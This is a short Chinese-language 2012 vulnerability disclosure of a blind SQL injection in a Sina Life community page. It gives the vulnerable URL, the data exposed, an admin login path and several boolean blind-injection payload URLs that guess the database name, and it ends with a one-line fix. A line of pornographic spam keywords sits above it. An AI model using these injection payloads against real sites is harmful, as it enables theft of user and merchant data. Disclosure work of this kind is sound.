亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

新浪生活服務互動社區(qū)Mysql盲注漏洞的介紹及其修復方法(圖解)

  發(fā)布時間：2012-06-01 09:41:25   作者：佚名   我要評論
Mysql盲注漏洞,做網(wǎng)站的要關(guān)注哦
注入漏洞存在地址為
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310
其中該漏洞可以導致數(shù)據(jù)泄漏，其中泄漏的數(shù)據(jù)包括團購，優(yōu)惠券、以及用戶聯(lián)系方式，smslog，團購商戶、admin等數(shù)據(jù)。
 
同時，團購的商戶登陸地址為
http://life.sina.com.cn/tuanadmin
 
漏洞證明：下面為手工猜解數(shù)據(jù)庫名的語句為
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and Length((database()))<5
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=101
下圖為注入是返回對正確與錯誤的截圖
 
 
 
注入返回對的情況截圖
 
 
 
注入時返回錯的情況截圖
 
一下是使用sqlmap對注入點進行注入攻擊，一下該例為查詢數(shù)據(jù)庫banner，通過改變命令參數(shù)可以對其進行更深入的攻擊。
 

 
修復方案：

對其uid參數(shù)進行檢查并且進行過濾。
 
作者 Insight-labs

相關(guān)文章

最新評論